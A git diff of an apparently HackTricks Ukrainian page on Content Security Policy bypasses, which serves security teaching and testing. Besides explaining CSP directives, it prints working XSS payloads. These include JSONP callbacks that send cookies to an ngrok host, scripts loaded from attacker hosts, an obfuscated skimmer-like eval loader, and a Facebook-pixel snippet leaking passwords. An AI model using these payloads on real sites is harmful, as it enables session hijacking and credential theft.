- Використовуйте позиційні параметри та specifiers ширини для встановлення точної кількості байтів, потім `%n` щоб записати це значення в адресу, доступну на стеку, націлюючись на слот GOT (наприклад, `free`) щоб частково перезаписати його на `system`.
- Спровокуйте виклик захопленої функції, передавши ім'я класу, що містить shell pipe, щоб потрапити в `system("id")`.
Примітки:
- Працює тільки на PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); виправлено у наступних релізах. Критичність: критична при наявності довільної інстанціації класів.
- Типові payloads поєднують багато `%p`, щоб пройти стек, потім `%.<width>d%<pos>$n`, щоб здійснити часткове перезаписування.
## Посилання
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
- https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
- The Art of PHP: CTFborn exploits and techniques (https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,28 +4,28 @@
## Що таке CSP
Content Security Policy (CSP) вважається технологією браузера, яка в першу чергу спрямована на **захист від атак, таких як міжсайтовий скриптинг (XSS)**. Вона функціонує, визначаючи та деталізуючи шляхи та джерела, з яких ресурси можуть бути безпечно завантажені браузером. Ці ресурси охоплюють ряд елементів, таких як зображення, фрейми та JavaScript. Наприклад, політика може дозволити завантаження та виконання ресурсів з того ж домену (self), включаючи вбудовані ресурси та виконання рядкового коду через функції, такі як `eval`, `setTimeout` або `setInterval`.
Content Security Policy (CSP) визнається браузерною технологією, яка в першу чергу спрямована на **захист від атак, таких як cross-site scripting (XSS)**. Вона функціонує шляхом визначення і опису шляхів та джерел, з яких браузер може безпечно завантажувати ресурси. Ці ресурси охоплюють різноманітні елементи, такі як зображення, фрейми та JavaScript. Наприклад, політика може дозволяти завантаження та виконання ресурсів з того ж домену (self), включно з inline-ресурсами та виконанням рядкового коду через функції на кшталт `eval`, `setTimeout` або `setInterval`.
Впровадження CSP здійснюється через **заголовки відповіді** або шляхом включення **мета-елементів у HTML-сторінку**. Дотримуючись цієї політики, браузери активно забезпечують виконання цих вимог і негайно блокують будь-які виявлені порушення.
Реалізація CSP здійснюється через **заголовки відповіді** або шляхом включення **meta-елементів у HTML-сторінку**. Дотримуючись цієї політики, браузери активно застосовують її вимоги та негайно блокують будь-які виявлені порушення.
- Впроваджено через заголовок відповіді:
- Реалізовано через заголовок відповіді:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- Реалізовано через тег meta:
- Реалізовано через мета-тег:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Заголовки
CSP може бути застосований або моніторений за допомогою цих заголовків:
CSP можна застосовувати або відстежувати за допомогою цих заголовків:
- `Content-Security-Policy`: Застосовує CSP; браузер блокує будь-які порушення.
- `Content-Security-Policy-Report-Only`: Використовується для моніторингу; повідомляє про порушення без їх блокування. Ідеально підходить для тестування в середовищах перед випуском.
- `Content-Security-Policy-Report-Only`: Використовується для відстеження; повідомляє про порушення, не блокуючи їх. Ідеально для тестування у передвиробничих середовищах.
### Визначення ресурсів
CSP обмежує джерела для завантаження як активного, так і пасивного контенту, контролюючи аспекти, такі як виконання вбудованого JavaScript та використання `eval()`. Приклад політики:
CSP обмежує джерела завантаження як активного, так і пасивного контенту, контролюючи такі аспекти, як виконання вбудованого JavaScript та використання `eval()`. Приклад політики є:
```bash
default-src 'none';
img-src 'self';
@ -39,38 +39,38 @@ object-src 'none';
```
### Директиви
- **script-src**: Дозволяє конкретні джерела для JavaScript, включаючи URL, вбудовані скрипти та скрипти, що викликаються обробниками подій або XSLT стилями.
- **default-src**: Встановлює стандартну політику для отримання ресурсів, коли конкретні директиви отримання відсутні.
- **child-src**: Вказує дозволені ресурси для веб-робітників та вбудованого вмісту фреймів.
- **connect-src**: Обмежує URL, які можуть бути завантажені за допомогою інтерфейсів, таких як fetch, WebSocket, XMLHttpRequest.
- **script-src**: Дозволяє конкретні джерела для JavaScript, включно з URL, inline-скриптами та скриптами, що запускаються обробниками подій або XSLT-стилями.
- **default-src**: Встановлює політику за замовчуванням для отримання ресурсів, коли відсутні конкретні директиви завантаження.
- **child-src**: Визначає дозволені джерела для web workers і вбудованого вмісту фреймів.
- **connect-src**: Обмежує URL, які можна завантажувати через інтерфейси на кшталт fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Обмежує URL для фреймів.
- **frame-ancestors**: Вказує, які джерела можуть вбудовувати поточну сторінку, застосовується до елементів, таких як `<frame>`, `<iframe>`, `<object>`, `<embed>`, і `<applet>`.
- **frame-ancestors**: Вказує, які джерела можуть вбудовувати поточну сторінку; застосовується до елементів, таких як `<frame>`, `<iframe>`, `<object>`, `<embed>`, і `<applet>`.
- **img-src**: Визначає дозволені джерела для зображень.
- **font-src**: Вказує дійсні джерела для шрифтів, завантажених за допомогою `@font-face`.
- **manifest-src**: Визначає дозволені джерела файлів маніфесту додатка.
- **font-src**: Визначає допустимі джерела для шрифтів, завантажуваних за допомогою `@font-face`.
- **manifest-src**: Визначає дозволені джерела файлів manifest додатків.
- **media-src**: Визначає дозволені джерела для завантаження медіа-об'єктів.
- **object-src**: Визначає дозволені джерела для елементів `<object>`, `<embed>`, і `<applet>`.
- **base-uri**: Вказує дозволені URL для завантаження за допомогою елементів `<base>`.
- **form-action**: Перераховує дійсні кінцеві точки для відправки форм.
- **plugin-types**: Обмежує mime-типи, які може викликати сторінка.
- **upgrade-insecure-requests**: Інструктує браузери переписувати HTTP URL на HTTPS.
- **sandbox**: Застосовує обмеження, подібні до атрибута sandbox елемента `<iframe>`.
- **report-to**: Вказує групу, до якої буде надіслано звіт, якщо політика буде порушена.
- **worker-src**: Вказує дійсні джерела для скриптів Worker, SharedWorker або ServiceWorker.
- **prefetch-src**: Вказує дійсні джерела для ресурсів, які будуть отримані або попередньо отримані.
- **navigate-to**: Обмежує URL, до яких документ може переходити будь-якими засобами (a, form, window.location, window.open тощо).
- **base-uri**: Вказує дозволені URL для завантаження з використанням елементів `<base>`.
- **form-action**: Перелічує дозволені кінцеві точки для відправки форм.
- **plugin-types**: Обмежує mime-типи, які сторінка може викликати.
- **upgrade-insecure-requests**: Підказує браузерам переписувати HTTP URL на HTTPS.
- **sandbox**: Застосовує обмеження, подібні до атрибута sandbox у `<iframe>`.
- **report-to**: Вказує групу, куди надсилатиметься звіт у разі порушення політики.
- **worker-src**: Визначає допустимі джерела для скриптів Worker, SharedWorker або ServiceWorker.
- **prefetch-src**: Визначає допустимі джерела для ресурсів, які будуть завантажені або попередньо завантажені.
- **navigate-to**: Обмежує URL, до яких документ може переміститись будь-яким способом (a, form, window.location, window.open тощо).
### Джерела
- `*`: Дозволяє всі URL, крім тих, що мають схеми `data:`, `blob:`, `filesystem:`.
- `*`: Дозволяє всі URL, окрім тих зі схемами `data:`, `blob:`, `filesystem:`.
- `'self'`: Дозволяє завантаження з того ж домену.
- `'data'`: Дозволяє завантаження ресурсів через схему даних (наприклад, зображення, закодовані в Base64).
- `'data'`: Дозволяє завантажувати ресурси через схему data (наприклад, зображення в Base64).
- `'none'`: Блокує завантаження з будь-якого джерела.
- `'unsafe-eval'`: Дозволяє використання `eval()` та подібних методів, не рекомендується з міркувань безпеки.
- `'unsafe-hashes'`: Дозволяє конкретні вбудовані обробники подій.
- `'unsafe-inline'`: Дозволяє використання вбудованих ресурсів, таких як вбудовані `<script>` або `<style>`, не рекомендується з міркувань безпеки.
- `'nonce'`: Список дозволених для конкретних вбудованих скриптів, що використовують криптографічний nonce (число, що використовується один раз).
- Якщо у вас обмежене виконання JS, можливо отримати використаний nonce всередині сторінки за допомогою `doc.defaultView.top.document.querySelector("[nonce]")` і потім повторно використовувати його для завантаження шкідливого скрипта (якщо використовується strict-dynamic, будь-яке дозволене джерело може завантажити нові джерела, тому це не потрібно), як у:
- `'unsafe-eval'`: Дозволяє використання `eval()` та подібних методів, не рекомендовано з міркувань безпеки.
- `'unsafe-hashes'`: Дозволяє певні inline-обробники подій.
- `'unsafe-inline'`: Дозволяє використання inline-ресурсів, як-от inline `<script>` або `<style>`, не рекомендовано з міркувань безпеки.
- `'nonce'`: Білий список для конкретних inline-скриптів, що використовують криптографічний nonce (число, використане один раз).
- If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
<details>
@ -88,16 +88,16 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: Дозволяє скрипти з конкретним sha256 хешем.
- `'strict-dynamic'`: Дозволяє завантаження скриптів з будь-якого джерела, якщо воно було внесено до білого списку за допомогою nonce або хешу.
- `'host'`: Вказує конкретний хост, наприклад, `example.com`.
- `https:`: Обмежує URL-адреси тими, що використовують HTTPS.
- `blob:`: Дозволяє завантаження ресурсів з Blob URL (наприклад, Blob URL, створені за допомогою JavaScript).
- `'sha256-<hash>'`: Дозволяє скрипти з конкретним sha256-хешем.
- `'strict-dynamic'`: Дозволяє завантаження скриптів з будь-якого джерела, якщо вони були додані до білого списку через nonce або hash.
- `'host'`: Вказує конкретний хост, наприклад `example.com`.
- `https:`: Обмежує URL-адреси до тих, що використовують HTTPS.
- `blob:`: Дозволяє завантаження ресурсів з Blob URL-адрес (наприклад, Blob URL, створені через JavaScript).
- `filesystem:`: Дозволяє завантаження ресурсів з файлової системи.
- `'report-sample'`: Включає зразок порушуючого коду у звіт про порушення (корисно для налагодження).
- `'strict-origin'`: Схоже на 'self', але забезпечує, щоб рівень безпеки протоколу джерел відповідав документу (тільки безпечні джерела можуть завантажувати ресурси з безпечних джерел).
- `'strict-origin-when-cross-origin'`: Надсилає повні URL-адреси при виконанні запитів з одного джерела, але лише надсилає джерело, коли запит є міждоменним.
- `'unsafe-allow-redirects'`: Дозволяє завантаження ресурсів, які негайно перенаправлять на інший ресурс. Не рекомендується, оскільки це послаблює безпеку.
- `'report-sample'`: Включає зразок порушеного коду у звіт про порушення (корисно для налагодження).
- `'strict-origin'`: Схожий на 'self', але гарантує, що рівень безпеки протоколу джерел відповідає документу (тільки безпечні origin можуть завантажувати ресурси з безпечних origin).
- `'strict-origin-when-cross-origin'`: Надсилає повні URL при same-origin запитах, але надсилає лише origin при cross-origin запитах.
- `'unsafe-allow-redirects'`: Дозволяє завантаження ресурсів, які негайно перенаправляють на інший ресурс. Не рекомендовано, оскільки послаблює безпеку.
## Небезпечні правила CSP
@ -117,67 +117,67 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
### 'unsafe-eval'
> [!CAUTION]
> Це не працює, для отримання додаткової інформації [**перевірте це**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
> Це не працює, для отримання додаткової інформації [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Працюючий payload:
Робочий payload:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic
Якщо ви зможете якимось чином змусити **дозволений JS код створити новий тег скрипта** в DOM з вашим JS кодом, оскільки його створює дозволений скрипт, **новий тег скрипта буде дозволено виконати**.
Якщо ви якимось чином зможете змусити **дозволений JS-код створити новий script tag** у DOM (тобто створений дозволеним скриптом), то **новий script tag буде дозволено виконуватися**.
### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Працюючий вантаж:
Робочий payload:
```html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### Відсутність object-src та default-src
### Відсутність object-src і default-src
> [!CAUTION] > **Схоже, що це більше не працює**
> [!CAUTION] > **Здається, це більше не працює**
```yaml
Content-Security-Policy: script-src 'self' ;
```
Працюючі пейлоади:
Робочі payloads:
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### Завантаження файлів + 'self'
### Завантаження файлу + 'self'
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Якщо ви можете завантажити файл JS, ви можете обійти цей CSP:
Робочий вантаж:
Working payload:
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
Однак, ймовірно, що сервер **перевіряє завантажений файл** і дозволить вам **завантажити лише певні типи файлів**.
Втім, дуже ймовірно, що сервер **перевіряє завантажений файл** і дозволяє завантажувати лише **файли певного типу**.
Більше того, навіть якщо ви зможете завантажити **JS код всередині** файлу з розширенням, яке приймає сервер (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache, **вибирають MIME тип файлу на основі розширення**, а браузери, такі як Chrome, **відмовляться виконувати Javascript** код всередині того, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що **Apache не знає** про розширення _**.wave**_, тому він не подає його з **MIME типом, як audio/\***.
Більше того, навіть якщо ви зможете завантажити **JS code inside** у файл з розширенням, яке приймає сервер (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache, **select MIME type of the file based on the extension**, а браузери на кшталт Chrome **reject to execute Javascript** код всередині того, що має бути зображенням. "Hopefully", трапляються помилки. Наприклад, на CTF я дізнався, що **Apache doesn't know** розширення _**.wave**_, тому він не віддає його з **MIME type like audio/***.
Звідси, якщо ви знайдете XSS і завантаження файлів, і вам вдасться знайти **неправильно інтерпретоване розширення**, ви можете спробувати завантажити файл з цим розширенням і вмістом скрипта. Або, якщо сервер перевіряє правильний формат завантаженого файлу, створіть поліглот ([деякі приклади поліглотів тут](https://github.com/Polydet/polyglot-database)).
У такому випадку, якщо ви знайдете XSS і функцію завантаження файлів, і вам вдасться знайти **misinterpreted extension**, ви можете спробувати завантажити файл з тим розширенням і вмістом скрипта. Або, якщо сервер перевіряє коректність формату завантаженого файлу, створіть polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
### Form-action
Якщо неможливо впровадити JS, ви все ще можете спробувати ексфільтрувати, наприклад, облікові дані, **впроваджуючи дію форми** (і, можливо, очікуючи, що менеджери паролів автоматично заповнять паролі). Ви можете знайти [**приклад у цьому звіті**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Також зверніть увагу, що `default-src` не охоплює дії форм.
Якщо впровадити JS неможливо, ви все одно можете спробувати ексфільтрувати, наприклад, облікові дані, **injecting a form action** (і можливо сподіваючись, що password managers автоматично підставлять паролі). Ви можете знайти an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Також зауважте, що `default-src` не покриває form actions.
### Third Party Endpoints + ('unsafe-eval')
> [!WARNING]
> Для деяких з наступних корисних навантажень **`unsafe-eval` навіть не потрібен**.
> Для деяких із наведених payload **`unsafe-eval` навіть не потрібен**.
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Завантажте вразливу версію angular та виконайте довільний JS:
Завантажити вразливу версію angular і виконати довільний JS:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -198,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Payloads using Angular + бібліотека з функціями, що повертають об'єкт `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!TIP]
> Пост показує, що ви можете **завантажити** всі **бібліотеки** з `cdn.cloudflare.com` (або будь-якого іншого дозволеного репозиторію JS бібліотек), виконати всі додані функції з кожної бібліотеки та перевірити **які функції з яких бібліотек повертають об'єкт `window`**.
> У пості показано, що ви можете **завантажити** всі **бібліотеки** з `cdn.cloudflare.com` (або будь-якого іншого дозволеного репозиторію JS бібліотек), виконати всі додані функції з кожної бібліотеки та перевірити **які функції з яких бібліотек повертають об'єкт `window`**.
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -225,15 +225,15 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
{{[].erase.call().alert('xss')}}
</div>
```
Angular XSS з імені класу:
Angular XSS із імені класу:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Зловживання JS-кодом google recaptcha
#### Зловживання google recaptcha JS code
Згідно з [**цією CTF статтею**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), ви можете зловживати [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) всередині CSP для виконання довільного JS-коду, обходячи CSP:
Згідно з [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) ви можете зловживати [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) всередині CSP, щоб виконувати довільний JS code, обходячи CSP:
```html
<div
ng-controller="CarouselController as c"
@ -244,7 +244,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Більше [**payloads з цього опису**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
Детальніше [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
@ -261,21 +261,21 @@ b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### Зловживання www.google.com для відкритого редиректу
#### Зловживання www.google.com для open redirect
Наступний URL перенаправляє на example.com (з [тут](https://www.landh.tech/blog/20240304-google-hack-50000/)):
Наступний URL перенаправляє на example.com (з [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
Зловживання \*.google.com/script.google.com
Abusing \*.google.com/script.google.com
Можливо зловживати Google Apps Script, щоб отримувати інформацію на сторінці всередині script.google.com. Як це [зроблено в цьому звіті](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
Можна зловживати Google Apps Script, щоб отримувати інформацію на сторінці всередині script.google.com. Як це було [зроблено в цьому звіті](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Треті сторони + JSONP
### Third Party Endpoints + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Сценарії, подібні до цього, де `script-src` встановлено на `self` та певний домен, який є в білому списку, можуть бути обійдені за допомогою JSONP. JSONP кінцеві точки дозволяють небезпечні методи зворотного виклику, які дозволяють зловмиснику виконувати XSS, робочий корисний вантаж:
Сценарії, як цей, коли `script-src` встановлено на `self` і певний домен whitelisted, можна обійти за допомогою JSONP. JSONP endpoints дозволяють небезпечні callback-методи, які дозволяють атакуючому виконати XSS, робочий payload:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -289,28 +289,28 @@ https://www.youtube.com/oembed?callback=alert;
```html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **містить готові до використання JSONP кінцеві точки для обходу CSP різних вебсайтів.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **містить готові до використання JSONP endpoints для CSP bypass на різних вебсайтах.**
Та сама вразливість виникне, якщо **достовірна кінцева точка містить відкритий редирект**, оскільки якщо початкова кінцева точка є довіреною, редиректи також є довіреними.
The same vulnerability will occur if the **trusted endpoint contains an Open Redirect** because if the initial endpoint is trusted, redirects are trusted.
### Зловживання третіх сторін
### Зловживання сторонніми сервісами
Як описано в [наступному пості](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), існує багато доменів третіх сторін, які можуть бути дозволені десь у CSP, і їх можна зловживати для ексфільтрації даних або виконання JavaScript коду. Деякі з цих третіх сторін:
As described in the [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), there are many third party domains, that might be allowed somewhere in the CSP, can be abused to either exfiltrate data or execute JavaScript code. Some of these third-parties are:
| Суб'єкт | Дозволений домен | Можливості |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
| Сервіс | Дозволений домен | Можливості |
| ----------------- | -------------------------------------------- | ---------- |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec|
| Amazon AWS | \*.amazonaws.com | Exfil, Exec|
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec|
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec|
| Google Firebase | \*.firebaseapp.com | Exfil, Exec|
Якщо ви знайдете будь-який з дозволених доменів у CSP вашої цілі, є ймовірність, що ви зможете обійти CSP, зареєструвавшись на службі третьої сторони і, або ексфільтрувати дані до цієї служби, або виконати код.
If you find any of the allowed domains in the CSP of your target, chances are that you might be able to bypass the CSP by registering on the third-party service and, either exfiltrate data to that service or to execute code.
Наприклад, якщо ви знайдете наступний CSP:
For example, if you find the following CSP:
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
@ -318,80 +318,80 @@ Content-Security-Policy: default-src 'self www.facebook.com;
```
Content-Security-Policy: connect-src www.facebook.com;
```
Ви повинні мати можливість ексфільтрувати дані, так само, як це завжди робилося з [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). У цьому випадку ви дотримуєтеся цих загальних кроків:
Ви повинні мати можливість exfiltrate data, подібно до того, як це завжди робилося з [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). У цьому випадку дотримуйтесь загальних кроків:
1. Створіть обліковий запис розробника Facebook тут.
2. Створіть новий додаток "Facebook Login" і виберіть "Веб-сайт".
3. Перейдіть до "Налаштування -> Основні" і отримайте свій "App ID".
4. На цільовому сайті, з якого ви хочете ексфільтрувати дані, ви можете ексфільтрувати дані, безпосередньо використовуючи гаджет Facebook SDK "fbq" через "customEvent" і навантаження даних.
5. Перейдіть до "Event Manager" вашого додатку і виберіть створений вами додаток (зауважте, що менеджер подій можна знайти за URL, подібним до цього: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Виберіть вкладку "Test Events", щоб побачити події, які надсилаються з "вашого" веб-сайту.
1. Create a Facebook Developer account here.
2. Create a new "Facebook Login" app and select "Website".
3. Go to "Settings -> Basic" and get your "App ID"
4. На цільовому сайті, з якого ви хочете exfiltrate data, можна exfiltrate data, безпосередньо використовуючи Facebook SDK гаджет "fbq" через "customEvent" і data payload.
5. Go to your App "Event Manager" and select the application you created (зауважте, event manager може знаходитись за URL, схожим на цей: https://www.facebook.com/events_manager2/list/pixel/\[app-id]/test_events
6. Select the tab "Test Events" щоб бачити події, що відправляються вашим web site.
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id облікового запису розробника атакуючого та видаючи користувацьку подію, як ця:
Потім, на victim side, ви виконуєте наступний код, щоб ініціалізувати Facebook tracking pixel, щоб вказати на app-id attacker'а у Facebook developer account і відправити custom event ось так:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
Що стосується інших семи доменів третьої сторони, зазначених у попередній таблиці, існує багато інших способів їх зловживання. Зверніться до попереднього [блог посту](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) для додаткових пояснень про інші зловживання третьою стороною.
Що стосується інших семи сторонніх доменів, зазначених у попередній таблиці, існує багато інших способів їхнього зловживання. Для додаткових пояснень щодо інших зловживань сторонніми ресурсами див. раніше згаданий [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses).
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
### Обхід через RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
На додаток до згаданої переадресації для обходу обмежень шляху, існує ще одна техніка, званою Relative Path Overwrite (RPO), яка може бути використана на деяких серверах.
Окрім згаданого перенаправлення для обходу обмежень шляхів, існує ще одна техніка під назвою Relative Path Overwrite (RPO), яку можна використовувати на деяких серверах.
Наприклад, якщо CSP дозволяє шлях `https://example.com/scripts/react/`, його можна обійти наступним чином:
Наприклад, якщо CSP дозволяє шлях `https://example.com/scripts/react/`, його можна обійти таким чином:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Браузер в кінцевому підсумку завантажить `https://example.com/scripts/angular/angular.js`.
The browser will ultimately load `https://example.com/scripts/angular/angular.js`.
Це працює, оскільки для браузера ви завантажуєте файл з назвою `..%2fangular%2fangular.js`, розташований за адресою `https://example.com/scripts/react/`, що відповідає CSP.
This works because for the browser, you are loading a file named `..%2fangular%2fangular.js` located under `https://example.com/scripts/react/`, which is compliant with CSP.
∑, вони декодують його, фактично запитуючи `https://example.com/scripts/react/../angular/angular.js`, що еквівалентно `https://example.com/scripts/angular/angular.js`.
∑, they will decode it, effectively requesting `https://example.com/scripts/react/../angular/angular.js`, which is equivalent to `https://example.com/scripts/angular/angular.js`.
Шляхом **експлуатації цієї невідповідності в інтерпретації URL між браузером і сервером, правила шляху можуть бути обійдені**.
By **exploiting this inconsistency in URL interpretation between the browser and the server, the path rules can be bypassed**.
Рішення полягає в тому, щоб не розглядати `%2f` як `/` на стороні сервера, забезпечуючи послідовну інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.
The solution is to not treat `%2f` as `/` on the server-side, ensuring consistent interpretation between the browser and the server to avoid this issue.
Онлайн приклад:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Виконання JS в Iframes
### Виконання JS в iframe
{{#ref}}
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
### відсутній **base-uri**
### Відсутній **base-uri**
Якщо директива **base-uri** відсутня, ви можете зловживати цим, щоб виконати [**впровадження висячої розмітки**](../dangling-markup-html-scriptless-injection/index.html).
Якщо директива **base-uri** відсутня, ви можете зловживати цим для виконання [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Більше того, якщо **сторінка завантажує скрипт за допомогою відносного шляху** (як `<script src="/js/app.js">`) з використанням **Nonce**, ви можете зловживати **base** **тегом**, щоб змусити його **завантажити** скрипт з **вашого власного сервера, досягаючи XSS.**\
Якщо вразлива сторінка завантажується з **httpS**, використовуйте httpS URL в base.
